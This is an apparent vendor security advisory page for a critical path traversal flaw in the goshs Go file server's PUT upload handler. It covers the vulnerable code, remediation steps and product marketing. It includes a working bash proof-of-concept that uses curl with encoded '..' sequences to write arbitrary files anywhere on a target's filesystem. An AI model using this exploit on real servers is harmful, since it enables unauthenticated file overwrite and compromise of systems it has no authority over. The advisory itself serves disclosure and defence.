Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-g8mv-vp7j-qp64

CRITICAL

GHSA-g8mv-vp7j-qp64 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/patrickhener/goshs. O3 Security confirms whether GHSA-g8mv-vp7j-qp64 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload

Also known asCVE-2026-35392GO-2026-5394
Published
Apr 3, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected
🐹github.com/patrickhener/goshs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/patrickhener/goshsall versions1.1.5-0.20260401172448-237f3af891a9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g8mv-vp7j-qp64 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-g8mv-vp7j-qp64 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-g8mv-vp7j-qp64. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary * PUT upload has no path sanitization | `httpserver/updown.go:20-69` This finding affects the default configuration, no flags or authentication required. ### Details **File:** `httpserver/updown.go:20-69` **Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`) The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment. ```go func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) { upath := req.URL.Path // unsanitized filename := strings.Split(upath, "/
O3 Security · Impact-Aware SCA

Is GHSA-g8mv-vp7j-qp64 in your dependencies?

O3 detects GHSA-g8mv-vp7j-qp64 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.